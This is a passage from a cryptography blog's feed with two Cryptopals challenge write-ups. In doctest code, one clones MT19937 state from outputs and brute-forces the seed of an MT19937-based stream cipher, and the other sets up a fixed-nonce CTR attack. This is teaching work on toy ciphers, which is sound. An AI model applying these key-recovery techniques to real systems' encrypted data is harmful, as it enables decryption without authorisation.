&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clone_mt19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;all&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cg&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;624&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The fundamental problem of the MT19937 is that part of the output generation is a &lt;em&gt;reversible&lt;/em&gt; operation.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFuZCB0aGlzIGlzIGhvdyB3ZSBjb3VsZCBtYWtlIHRoZSBNVDE5OTM3IGEgbGl0dGxlIGhhcmRlcjoKbWFrZSB0aGUgb3BlcmF0aW9uIG5vbi1pbnZlcnRpYmxlICphbmQqIG1ha2luZyBlYWNoIG91dHB1dApieXRlIGEgZnVuY3Rpb24gYmFzZWQgb24gdGhlIHdob2xlIHNlY3JldCBzdGF0ZSBhZGRpbmcgbW9yZQplbnRyb3B5IGFuZCBzaHVmZmxpbmcgaW50byB0aGUgbWl4LgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFuZCB0aGlzIGlzIGhvdyB3ZSBjb3VsZCBtYWtlIHRoZSBNVDE5OTM3IGEgbGl0dGxlIGhhcmRlcjoKbWFrZSB0aGUgb3BlcmF0aW9uIG5vbi1pbnZlcnRpYmxlICphbmQqIG1ha2luZyBlYWNoIG91dHB1dApieXRlIGEgZnVuY3Rpb24gYmFzZWQgb24gdGhlIHdob2xlIHNlY3JldCBzdGF0ZSBhZGRpbmcgbW9yZQplbnRyb3B5IGFuZCBzaHVmZmxpbmcgaW50byB0aGUgbWl4LgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
And this is how we could make the MT19937 a little harder: make the operation non-invertible &lt;em&gt;and&lt;/em&gt; making each output byte a function based on the whole secret state adding more entropy and shuffling into the mix.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And because each output byte has a dependency with one and just one single secret byte, from that output byte an attacker can get the single secret byte.&lt;/p&gt;
&lt;p&gt;For a 624 output samples, the full secret state of the MT19937 can be obtained.&lt;/p&gt;
&lt;h2 id="cracking-a-cipher-based-on-a-mt19937"&gt;Cracking a cipher based on a MT19937&lt;/h2&gt;
&lt;p&gt;From a pseudo random generator we can build a stream of pseudo random bytes, just seeing each number as 4 or 8 bytes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.conv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;repack&lt;/span&gt;          &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;prng&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prng&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ifmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ofmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;BBBB&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Given this stream we can build a stream cipher just xoring the random stream with the plaintext in a similar way like CTR works&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lnonce&lt;/span&gt;     &lt;span class="c1"&gt;# quite large random &amp;quot;secret&amp;quot; stuff&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;clen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;clen&lt;/span&gt;
&lt;span class="mi"&gt;128&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s assume that we know some part of the plaintext from an unknown position:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n8&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clen&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;known_plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known_plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="c1"&gt;# quite arbitrary, it could work with less&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plen&lt;/span&gt;
&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CltDcmVhdGUgdGhlIE1UMTk5Mzcgc3RyZWFtIGNpcGhlciBhbmQgYnJlYWsgaXRdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8zL2NoYWxsZW5nZXMvMjQpCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltDcmVhdGUgdGhlIE1UMTk5Mzcgc3RyZWFtIGNpcGhlciBhbmQgYnJlYWsgaXRdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8zL2NoYWxsZW5nZXMvMjQpCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/3/challenges/24"&gt;Create the MT19937 stream cipher and break it&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Because the cipher does not use a &lt;em&gt;random&lt;/em&gt; secret key (the seed), it is possible to break this ciphering.&lt;/p&gt;
&lt;p&gt;First, lets see all the possible substrings of the same length than the known plaintext:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cngrams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ngrams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then we could try to xor them with the plain text: all except one of the substring will be just garbage but one will be part of the original secret key stream product of the PRNG.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pngrams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;known_plaintext&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cngrams&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of course we do not know which substring is garbage and which is not.&lt;/p&gt;
&lt;p&gt;Out best strategy is to generate a long enough key stream with our guessed seed and see if a substring matches or not.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ifmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ofmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;BBBB&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clen&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;sngrams&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ngrams&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plen&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sngrams&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pngrams&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;oracle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                         &lt;span class="c1"&gt;# byexample: +timeout=300&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;prng&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prng&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ifmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ofmt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;gt;BBBB&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/12/23/Mersenne-Twister-PRNG.html" rel="alternate" type="text/html" title="Breaking MT19937 Crypto"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="MT19937" label="MT19937"/>
    <category term="PRG" label="PRG"/>
    <published>2018-12-23T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/12/04/Fixed-Nonce-CTR-Attack.html</id>
    <title>Fixed Nonce CTR Attack</title>
    <updated>2018-12-04T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The Counter mode, or just CTR mode, turns a block cipher into a stream cipher.&lt;/p&gt;
&lt;p&gt;More specifically, it builds a pseudo random generator (PRG) from a block cipher and then generates a random string using the PRG to encrypt/decrypt the payload performing a simple xor.&lt;/p&gt;
&lt;p&gt;The idea is to initialize the PRG with a different &lt;em&gt;seed&lt;/em&gt; each time but if this does not happen, all the plaintexts will be encrypted with the &lt;em&gt;same&lt;/em&gt; pseudo random key stream – totally insecure.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Ready to break it?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="warming-up"&gt;Warming up&lt;/h2&gt;
&lt;p&gt;&lt;label for='CltJbXBsZW1lbnQgQ1RSLCB0aGUgc3RyZWFtIGNpcGhlciBtb2RlXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMy9jaGFsbGVuZ2VzLzE4KQptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltJbXBsZW1lbnQgQ1RSLCB0aGUgc3RyZWFtIGNpcGhlciBtb2RlXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMy9jaGFsbGVuZ2VzLzE4KQptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/3/challenges/18"&gt;Implement CTR, the stream cipher mode&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s implement a CTR. As usual we generate a pseudo-random configuration to parametrize the CTR.&lt;/p&gt;
&lt;!--
&gt;&gt;&gt; from cryptonita import B, load_bytes     # byexample: +timeout=10

&gt;&gt;&gt; import sys
&gt;&gt;&gt; sys.path.append("./posts/matasano/assets")
&gt;&gt;&gt; from challenge import generate_config, enc_ctr, dec_ctr  # byexample: +timeout=10

&gt;&gt;&gt; seed = 20181204
--&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bsize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;                       &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;YELLOW SUBMARINE&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now let’s check that our AES cipher in Counter mode works&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;L77na/nrFsKvynd6HzOoG7GHTLXsTVu9qvY/2syLXzhPweyyMTJULu/6/kXX0KSvoOLSFQ==&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dec_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;Yo, VIP Let&amp;#39;s kick it Ice, Ice, baby Ice, Ice, baby &amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="break-fixed-nonce-ctr"&gt;Break fixed-nonce CTR&lt;/h2&gt;
&lt;p&gt;If the nonce is fixed, then several &lt;em&gt;independent&lt;/em&gt; ciphertext will be encrypted with the same key stream.&lt;/p&gt;
&lt;p&gt;Let’s load some plaintexts and let’s encrypt them reusing the same nonce over and over and see if we can break the encryption later.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.conv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;transpose&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;    &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;load_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/20.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;enc_ctr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The vulnerability resides in reusing the nonce.&lt;/p&gt;
&lt;p&gt;With the same nonce, CTR generates the same random sequence that uses to xor the payload.&lt;/p&gt;
